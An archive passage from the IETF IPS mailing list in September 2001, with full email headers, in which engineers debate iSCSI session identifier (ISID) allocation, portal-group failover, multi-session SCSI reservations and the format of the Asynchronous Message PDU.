Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/10/2001 08:35:13 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Julo, Unfortunately, the way things are modeled now, it is impossible to recreate a session on a different target portal group and inherit all the same properties. The reason is that at least some of the properties are bound to the I_T nexus and the "T" is the portal group. If you request a change to a different portal group, you've changed the "T" and so an equivalent nexus cannot be built. With what we have today, I can claim to a different target portal group that I'm the same "I" in a previous I_T nexus, but that's about all. (And there-in lies the root of the "reservations kicker"!). Jim Hafner Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/10/2001 02:05:33 am Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs David, This relatively complicated and hard to discuss on the mailing list. During a flight I made a summaryY. allocating to vendors is not a good idea and failover of an entire session should be possible between portl groups. Portal groups are meant to delimit connections that cooperate within a session. If a session on PGa goes away you may want to reinstate a session on PG b ineriting the same properties. There is nothing to prevent you now to do it (and that is good). The ID splitting can get a bit skewed. The same will happend whatever sheme you choose and vendors certianly don't have to get involved. Julo Black_David@emc.com on 10-09-2001 09:16:39 Please respond to Black_David@emc.com To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs One more whack at this ... > The major difference is "control". In the current scheme the initiator and > target could independently allocate and reuse their parts. > > The target allocates only scheme leaves this to the target (it has to do > garbage collection) under the assumption that the target (unlike the > initiator) has a central point of control. Yes, I'm assuming that targets will have a single vendor in charge of all the software on the target and making it work right if there are multiple HBAs; I don't see any corresponding vendor who's in a position to do the same for the initiator ... > Aren't targets going to have several HBA and have to carefully allocate > their SSIDs? But they'll have one vendor in charge of making this work. In contrast, for an initiator with HBAs from two different vendors, both of those vendors and the vendor of the OS platform have to be involved, and I don't see any of them taking full responsibility in the early going. I'm worried we risk heading the iSCSI Initiator Name down the same path as Fibre Channel, where the FC Node WWN was supposed to be associated with the server into which the HBAs were plugged, but got associated with the HBA because there was no way to coordinate across HBAs. If anything ever goes wrong with ISIDs (and things will), the fastest way to fix it will be to require each HBA to have its own iSCSI Initiator Name, independent of the intent of the iSCSI naming architecture. > In the event an initiator wants to rebuild a session does he have to > connect to the same HBA and thus a failover to another HBA > can't be done. No, this is controlled by portal groups. To failover across two HBAs on the target, they have to be in the same portal group, and the target is responsible for coordinating TSID usage within each portal group. If the target can't coordinate TSID usage, it puts the HBAs into different portal groups and gives up this failover ability as a consequence, and that's the case independent of whether ISIDs exist or not. > For all the above no to happen we have to add some management somewhere and > it looks to me that the current scheme is simpler than a target centric one > as it keeps the allocation and release of numbers at the same end. I'm sorry, that doesn't parse for me. It looks like the same sort of mechanism is being put into both initiators and targets for symmetry, without considering whether two instances of the mechanism are actually necessary. In a target-centric scheme, the target is doing the "allocation and release" of numbers. The target does have to be careful about not aggressively reusing TSID values, when there's potentially recoverable state around (or the initiators may think that there's state to be recovered even though the target's lost it all in a reboot), but recall that aggressive reuse of ISIDs is what created the Option A/B/C mess (and not aggressively reusing ISIDs would make that easier to solve). I don't understand how two instances of similar mechanisms is "simpler" than one. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Mon Sep 10 12:54:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22360 for ; Mon, 10 Sep 2001 12:54:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AFNmX19264 for ips-outgoing; Mon, 10 Sep 2001 11:23:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AFNkP19259 for ; Mon, 10 Sep 2001 11:23:47 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA57830; Mon, 10 Sep 2001 11:21:19 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8AFNZM71614; Mon, 10 Sep 2001 09:23:35 -0600 Importance: Normal Subject: Re: iSCSI: ISIDs and multi-session reservations To: Black_David@emc.com, ips@ece.cmu.edu From: "Jim Hafner" Date: Mon, 10 Sep 2001 08:23:32 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/10/2001 08:23:34 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, I think your "lazy evaluation" idea, along with a couple of other ideas that have been floating around all boil down to the same thing. Namely, adding some additional naming structure between the InitiatorName construct and the ISID name construct. I outlined this in another note (to whom I can't remember). It was the idea of a "port extension" to the Initiator Name. That's static, reported in login (either embedded in the InitiatorName key-value or separate). I argued that we'd then have three places where there are naming constructs, the InitiatorName, the port extension name and the ISID and I was unsure whether there was any real value in adding that to the protocol. I also said that the port extension name could quite easily be the portal group tag (and then argued that an implementation could easily embedded that value in the ISID to provide a simple mechanism for partitioning ISID). I also agrued that if I can manage coordination of this extra name, then I can manage ISIDs by similar mechanisms. However, I'm uncomfortable with the way you outline your suggestion. The reason is that you're asking the iSCSI layer to sometimes and artificially bind some sessions "as if they came from the same SCSI Initiator Port". And the rest of the time the target is supposed to sort out that sessions are not from the same SCSI Initiator Port (mostly because they don't have an naming construct to tell). You've effectively given a name to some SCSI Initiator ports and no name to other such ports. Again, it might work, but it is certainly a stretch of the modeling ideas of names for SCSI Initiator Ports. Jim Hafner Black_David@emc.com on 09/09/2001 11:16:43 pm To: Jim Hafner/Almaden/IBM@IBMUS, ips@ece.cmu.edu cc: Subject: iSCSI: ISIDs and multi-session reservations Change of subject line to pick up just Jim's "kicker": > Now comes a slight kicker! There is proposed language for SCSI that would > allow a device server to associate a reservation with a SCSI initiator port > *independent of the SCSI target port*, so I could have a path from one SCSI > Initiator port through each SCSI target port and the reservation state > would be equivalent over all the paths (sort of I_*_L nexus). This new > language is based on one fundamental principle, that is, that the SCSI > initiator port has a world wide unique persistent intrinsic NAME on which > to base the unambiguous recognition of that SCSI Initiator Port independent > of the target port. In other words, with a name, the device server can > recognize the same initiator port through any of its target ports and so > grant equivalent access rights. Remove the name from iSCSI's SCSI > Initiator Port (which you are effectively doing no matter how you look at > it), and you can not take advantage of this proposal's new functionality. That's definitely a kicker, because it requires a persistent name for the SCSI Initiator Port - this whole "no ISID" adventure is predicated in part on not needing that. > This is the kind of functionality that many people not intimate with SCSI > assumed was already there (and in fact there were assumptions that > reservations went so far as to span initiator ports). Unfortunately, > that's not the model in SCSI. This pending proposal is an attempt to get to > that functionality defined within the parameters defined by SAM-2. And it makes sense if one assumes that the SCSI Initiator Port is a physical entity (essentially an interface/adapter). With iSCSI making that a dynamic software entity, things get peculiar ... > Note that with the initiator generated ISID as part of the SCSI Initiator > Port Name (it's intrinsic), we had the ability to reuse that same ISID for > each target portal group (without problem) and get this equivalent > reservation state across all those target portal groups (aka, SCSI Target > Ports). ... and this looks peculiar. The peculiarity is that what we currently view as implementation-internal decisions on which ISIDs are used on what sessions to various target portal groups now carry semantics that are visible above iSCSI - in essence the equality or inequality of ISID values across sessions to different target portal groups controls how reservations behave across those sessions. Without ISIDs, this ability goes away. > I don't know if that is too much of a monkey wrench in the works, but it > bothers me some. It sure looks like a monkey wrench to me. I'm concerned that this could lead to things like cluster software wanting to control ISID usage in order to get the "right" behavior of reservations across sessions. My immediate reaction is to throw "lazy evaluation" at this problem - something like a new text key that cluster software (or the like) passes down to tell iSCSI which connections need to have this reservation sharing property (and iSCSI passes it to the target in a text command). Before delving into this "lazy evaluation" idea, is anyone else concerned about this cluster software scenario, or have I gone off into left field (again)? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Mon Sep 10 13:02:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22709 for ; Mon, 10 Sep 2001 13:02:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AFtos21624 for ips-outgoing; Mon, 10 Sep 2001 11:55:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AFtmP21620 for ; Mon, 10 Sep 2001 11:55:49 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA10410 for ; Mon, 10 Sep 2001 11:53:22 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8AFtbM42410 for ; Mon, 10 Sep 2001 09:55:37 -0600 Importance: Normal Subject: RE: iSCSI: ISIDs To: ips@ece.cmu.edu From: "Jim Hafner" Date: Mon, 10 Sep 2001 08:55:32 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/10/2001 08:55:37 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Folks, I want to add a point here. (It's a bit preachy, however). The whole reason we put in the draft the "SHOULD partition" ISIDs among portal groups and why it is so prominent is to get all the people building these components to agree NOW to the OS-specific mechanisms to achieve it. First recognize the need and THEN to define the mechanism (and I've said that the mechanism isn't hard, we (as vendors, not necessarily within the specification) just have to agree on it). We're trying to prevent exactly the problem David (I think) mentioned with FW Nodenames never taking on the role they should have. We're posting right up front an implementation (strong) recommendation to enable both assignment of Initiator Name (from outside the HW or SW) and of ISIDs (from outside the HW or SW). This enables the protocol to function at its best. If people don't want to implement to this recommendation, then they'll pay the price with either inter-vendor interoperability problems (not with the wire but within a given initiator) or with much more complex management issues (a la FC Portnames). Jim Hafner From owner-ips@ece.cmu.edu Mon Sep 10 13:10:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22930 for ; Mon, 10 Sep 2001 13:10:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AFkOA20975 for ips-outgoing; Mon, 10 Sep 2001 11:46:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AFkMP20970 for ; Mon, 10 Sep 2001 11:46:22 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA75880; Mon, 10 Sep 2001 11:43:59 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8AFkEM68746; Mon, 10 Sep 2001 09:46:15 -0600 Importance: Normal Subject: RE: iSCSI:Target Centric ISID assignments To: sandeepj@research.bell-labs.com (Sandeep Joshi), ips@ece.cmu.edu From: "Jim Hafner" Date: Mon, 10 Sep 2001 08:46:11 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/10/2001 08:46:14 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Sandeep, The vendor-unique id is yet another scheme to add another layer of identifying information (beyond InitiatorName and ISID). As I've mentioned in other posts, I don't see structural reason for it (unless the ISID space is just too small, then we can argue about where to put and what to put in the additional space we create). However, one problem with the vendor-unique suggestion is the same problem we in N&D wrestled with, namely, not every component has an identifiable vendor and that vendor have an unique identifier to go with it. It's true for HW components, but all those fancy SW versions of iSCSI initiators don't. That's what lead us to the iqn naming scheme for InitiatorName. Jim Hafner sandeepj@research.bell-labs.com (Sandeep Joshi)@ece.cmu.edu on 09/09/2001 09:47:44 am Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI:Target Centric ISID assignments Agree with the extra responsibility added on the target. But one point here ..the target may not be monolithic but one assumes it would atleast be "monogenic" (single-vendor) thereby enabling it to disallow multiple nexuses being started with the same The monogenic property may not hold for initiators so a scheme which works without HBA cooperation is preferred over one which requires cooperation. The schemes presented by Jim in a previous email (a windows registry counter) still assume all HBAs follow that assignment model. The ISID namespace seems too small to partition among vendors. If it were possible to add a vendor-unique identifier to the login command/phase (and maybe nexus), we may solve the problem without burdening the target. -Sandeep > Blowing away or not is again with us. A careless guy will set always the > blow-away bit. > You have just moved the management responsibility to the target under the > assumption that the target > is "monolithic". But, as you well know, this is not true for many targets. > You have to have an allocation scheme at > target and a garbage collection. > > I suggest we give this to the ND team and let them debate for a while > before getting back to us. > We may want to have them look at all aspects of SSID allocation and use. > > Julo From owner-ips@ece.cmu.edu Mon Sep 10 13:25:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23306 for ; Mon, 10 Sep 2001 13:25:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AFdE720394 for ips-outgoing; Mon, 10 Sep 2001 11:39:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AFd9P20384 for ; Mon, 10 Sep 2001 11:39:09 -0400 (EDT) Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.99.140.22]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA14142; Mon, 10 Sep 2001 11:36:50 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay01.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8AFcwD25526; Mon, 10 Sep 2001 09:38:58 -0600 Importance: Normal Subject: RE: iSCSI: ISIDs To: Black_David@emc.com, ips@ece.cmu.edu From: "Jim Hafner" Date: Mon, 10 Sep 2001 08:38:50 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/10/2001 08:38:57 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David and Julian On second thought, let me qualify what I just said in my last posting about recreating the session on a different portal group. As far as the model is concerned, that still holds, BUT it doesn't prevent failover from one HBA to another! The reason is that all of the properties of the failed HBA can be assumed by the back up HBA (this includes, ipaddresses, portal group tag, etc.). So, phyically, the HBA may be a different one, but the model view of the portal group is still the same (different hw, same 'identity'). Similar things happen with just IP addressing today and with FC functions as well. Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/09/2001 11:16:39 pm Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs One more whack at this ... > The major difference is "control". In the current scheme the initiator and > target could independently allocate and reuse their parts. > > The target allocates only scheme leaves this to the target (it has to do > garbage collection) under the assumption that the target (unlike the > initiator) has a central point of control. Yes, I'm assuming that targets will have a single vendor in charge of all the software on the target and making it work right if there are multiple HBAs; I don't see any corresponding vendor who's in a position to do the same for the initiator ... > Aren't targets going to have several HBA and have to carefully allocate > their SSIDs? But they'll have one vendor in charge of making this work. In contrast, for an initiator with HBAs from two different vendors, both of those vendors and the vendor of the OS platform have to be involved, and I don't see any of them taking full responsibility in the early going. I'm worried we risk heading the iSCSI Initiator Name down the same path as Fibre Channel, where the FC Node WWN was supposed to be associated with the server into which the HBAs were plugged, but got associated with the HBA because there was no way to coordinate across HBAs. If anything ever goes wrong with ISIDs (and things will), the fastest way to fix it will be to require each HBA to have its own iSCSI Initiator Name, independent of the intent of the iSCSI naming architecture. > In the event an initiator wants to rebuild a session does he have to > connect to the same HBA and thus a failover to another HBA > can't be done. No, this is controlled by portal groups. To failover across two HBAs on the target, they have to be in the same portal group, and the target is responsible for coordinating TSID usage within each portal group. If the target can't coordinate TSID usage, it puts the HBAs into different portal groups and gives up this failover ability as a consequence, and that's the case independent of whether ISIDs exist or not. > For all the above no to happen we have to add some management somewhere and > it looks to me that the current scheme is simpler than a target centric one > as it keeps the allocation and release of numbers at the same end. I'm sorry, that doesn't parse for me. It looks like the same sort of mechanism is being put into both initiators and targets for symmetry, without considering whether two instances of the mechanism are actually necessary. In a target-centric scheme, the target is doing the "allocation and release" of numbers. The target does have to be careful about not aggressively reusing TSID values, when there's potentially recoverable state around (or the initiators may think that there's state to be recovered even though the target's lost it all in a reboot), but recall that aggressive reuse of ISIDs is what created the Option A/B/C mess (and not aggressively reusing ISIDs would make that easier to solve). I don't understand how two instances of similar mechanisms is "simpler" than one. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Mon Sep 10 14:19:48 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA25664 for ; Mon, 10 Sep 2001 14:19:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AGBqf22773 for ips-outgoing; Mon, 10 Sep 2001 12:11:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AFehP20531 for ; Mon, 10 Sep 2001 11:40:43 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id IAA21261; Mon, 10 Sep 2001 08:40:32 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Mon, 10 Sep 2001 08:40:31 -0700 Message-ID: From: Robert Snively To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI: Async events - SCSI and iSCSI Date: Mon, 10 Sep 2001 08:40:30 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk Folks, I have not followed all that led up to this very carefully, but in the SCSI space, we have been reasonably careful to require that the initiator identify itself as capable of receiving an asynchronous event. In the iSCSI realm, you can invent any kind of event structure you like, but it would not involve logical units (except perhaps to indicate that the configuration of logical units has changed and needs to be investigated), since logical units are not known to the iSCSI session. In the SCSI realm, you have to have a SAM-2 compliant mechanism to determine that there is a process available to receive (or at least to reject the exchange of) an asynchronous message. In the past, that has often been done by making the asynchronous message a standard SCSI command, with the initiator taking on the target role and in fact identifying itself as a willing recipient. I would expect the same separation to be required here. In particular, SCSI asynchronous events may need to be rejected, while iSCSI asynchronous events shall always be accepted. Bob > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Saturday, September 08, 2001 12:56 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: Async events - SCSI and iSCSI > > > OK Mark - How about: > > 1.1 Asynchronous Message > > An Asynchronous Message may be sent from the target to the > initiator > without corresponding to a particular command. The target > specifies the > status and reason for the event and sense data. > > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x32 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| LUN | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| AsyncEvent | Reserved | Parameter1 or Reserved | > +---------------+---------------+---------------+---------------+ > 40| Parameter2 or Reserved | Parameter3 or Reserved | > +---------------+---------------+---------------+---------------+ > 44| Reserved | > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment - Sense Data or iSCSI Event Data / > +/ / > +---------------+---------------+---------------+---------------+ > > > Some Asynchronous Messages are strictly related to iSCSI > while others > are related to SCSI [SAM2]. > > Please note that StatSN counts this PDU as an > acknowledgeable event, > allowing initiator and target state synchronization. > > 1.1.1 AsyncEvent > > The codes used for iSCSI Asynchronous Messages (Events) are: > > 0 A SCSI Asynchronous Event is reported in the sense > data. Sense > Data that accompanies the report, in the data segment, > identifies the > condition. Sending of a SCSI Event (Asynchronous Event > Notification > in SCSI terminology) is controlled by a SCSI Control > Mode Page bit. > 1 Target requests Logout. This Async Message MUST be > sent on the > same connection as the one being requested to be logged out. > Initiator MUST honor this request by issuing a Logout > as early as > possible, but no later than Parameter3 seconds. > Initiator MUST send > a Logout with a reason code of "Close the connection" to cleanly > shutdown the connection. If the initiator does not Logout in > Parameter3 seconds, the target should send an Async PDU > with iSCSI > event code "Dropped the connection" if possible, or > simply terminate > the transport connection. Parameter1 and Parameter2 are > reserved. > 2 Target indicates it will drop the connection. > The Parameter1 field indicates on what CID the connection will > dropped. > The Parameter2 field indicates, in seconds, the minimum > time to wait > before attempting to reconnect. > Parameter3 indicates the maximum time to reconnect > and/or restart > commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect and/or > restart the > outstanding commands, within the time specified by > Parameter3 or, if > Parameter3 is 0, the target will terminate all > outstanding commands > on this connection, no other responses should be > expected from the > target for the outstanding commands on this connection. > A value of 0 for Parameter2 indicates that reconnect > can be attempted > immediately. > 3 Target indicates it will drop all the connections of this > session. > The Parameter2 field indicates, in seconds, the minimum > time to wait > before attempting to reconnect. > The Parameter3 field indicates the maximum time to reconnect and > restart commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect within the time > specified by Parameter 3 or, if Parameter 3 is 0, the session is > terminated. In this case, the target will terminate all > outstanding > commands in this session; no other responses should be > expected from > the target for the outstanding commands in this > session. A value of > 0 for Parameter2 indicates that reconnect can be attempted > immediately. > 255 Vendor specific iSCSI Event - additional data MAY > accompany the > report. > > All other event codes are reserved. > > 1.1.2 Sense Data or iSCSI Event Data > > For a SCSI Event this is the data that accompanies the > report, in the > data segment, identifies the condition. > > For an iSCSI Event additional data that MAY accompany the report > > > Mark Bakke @ece.cmu.edu on 07-09-2001 18:54:22 > > Please respond to Mark Bakke > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iSCSI: Async events - SCSI and iSCSI > > > > Julian- > > I'd like to see them separate for two reasons: > > - iSCSI and SCSI-level events are typically orthogonal, so they > probably won't usually end up being combined anyway. It would > be simpler for both the target and the initiator to not attempt > to combine them. > > - Since the SCSI-level events use the data portion of the message > for sense data, that leave iSCSI events without any way to send > data of their own if there is a possibility of combining the > two. By keeping them separate, iSCSI could use the data portion > for text keys. In fact, Parameters 1, 2, and 3 might have been > easier to describe had they been communicated using text keys; > the processing of async messages is not a performance-critical > thing anyway. > > That's about it. A target could send both in one message, but since > the desire to do this is probably an end case (a small percentage > of async messages might combine both), there's no reason why we > can't just have the target send two messages, and we end up with > a simpler, and for iSCSI events, more flexible, implementation for > both the initiator and target. > > Anyway, I think that if we are going for a clear separation between > SCSI and iSCSI events, that it's even clearer if they are always > sent in separate messages. > > Thanks, > > Mark > > Julian Satran wrote: > > > > Mark, > > > > As far as I recall it is not by chance. When we decided to > go for a clear > > separation of SCSI and iSCSI events > > I saw no reason why a target will not want to send both, if > it had them, > in > > one message. > > Is there something I am missing? Obviously this runs > against your later > > request for text async messages. > > > > Julo > > > > Mark Bakke @ece.cmu.edu on 05-09-2001 23:09:12 > > > > Please respond to Mark Bakke > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: IPS > > cc: > > Subject: iSCSI: Async events - SCSI and iSCSI > > > > Julian- > > > > I was looking at Async Message some more, and noticed that there > > is nothing to stop a target from sending a message that includes > > both iSCSI and SCSI events, since each of these are communicated > > with a different set of fields. I would guess that this is not > > what is intended, and that the target ought to send one or > the other. > > > > Can we add some text to say: > > > > A target may send this message as either a SCSI Event or an > > iSCSI Event, but not both. Either the SCSI Event or iSCSI > > Event field MUST be zero. > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 > > > > From owner-ips@ece.cmu.edu Mon Sep 10 15:25:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28031 for ; Mon, 10 Sep 2001 15:25:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AHK6s27154 for ips-outgoing; Mon, 10 Sep 2001 13:20:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from clyde.stargateip.com ([209.237.5.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8AHK3P27149 for ; Mon, 10 Sep 2001 13:20:04 -0400 (EDT) Received: from stargateip.com (dhcp-115.stargateip.com [10.10.5.115]) by clyde.stargateip.com (8.9.1/8.9.1) with ESMTP id KAA20032 for ; Mon, 10 Sep 2001 10:13:55 -0700 (PDT) Message-ID: <3B9CF511.45BE21CB@stargateip.com> Date: Mon, 10 Sep 2001 10:14:57 -0700 From: Venu Gopal Gandesiri X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 CC: ips@ece.cmu.edu Subject: remove References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Jim Hafner wrote: > Folks, > > I want to add a point here. (It's a bit preachy, however). > > The whole reason we put in the draft the "SHOULD partition" ISIDs among > portal groups and why it is so prominent is to get all the people building > these components to agree NOW to the OS-specific mechanisms to achieve it. > First recognize the need and THEN to define the mechanism (and I've said > that the mechanism isn't hard, we (as vendors, not necessarily within the > specification) just have to agree on it). > > We're trying to prevent exactly the problem David (I think) mentioned with > FW Nodenames never taking on the role they should have. We're posting > right up front an implementation (strong) recommendation to enable both > assignment of Initiator Name (from outside the HW or SW) and of ISIDs (from > outside the HW or SW). This enables the protocol to function at its best. > If people don't want to implement to this recommendation, then they'll pay > the price with either inter-vendor interoperability problems (not with the > wire but within a given initiator) or with much more complex management > issues (a la FC Portnames). > > Jim Hafner -- ********************************************************************** Dance like no one's watching, love like you've never been hurt, sing like no one's listening, live like it's heaven on earth. Happiness is a journey, not a destination. VENU GOPAL GANDESIRI Platys Communications Inc 3150 A Coronado Drive SantaClara, CA, 95054 Phone # : 408-496-4435 (W) Phone # : 408-243-4870 (H) ********************************************************************** This email and any files transmitted with it are confidential and are intended solely for the use of the individual or entity to which they are addressed. Access to this e-mail by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited. From owner-ips@ece.cmu.edu Mon Sep 10 16:29:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00309 for ; Mon, 10 Sep 2001 16:29:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8AInOY03598 for ips-outgoing; Mon, 10 Sep 2001 14:49:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from c001.snv.cp.net (c001-h008.c001.snv.cp.net [209.228.32.122]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f8AHonP29435 for ; Mon, 10 Sep 2001 13:50:49 -0400 (EDT) Received: (cpmta 21535 invoked from network); 10 Sep 2001 10:50:37 -0700 Received: from sdn-ar-005riprovP243.dialsprint.net (HELO deneb.dev.equallogic.com) (63.178.222.5) by smtp.equallogic.com (209.228.32.122) with SMTP; 10 Sep 2001 10:50:37 -0700 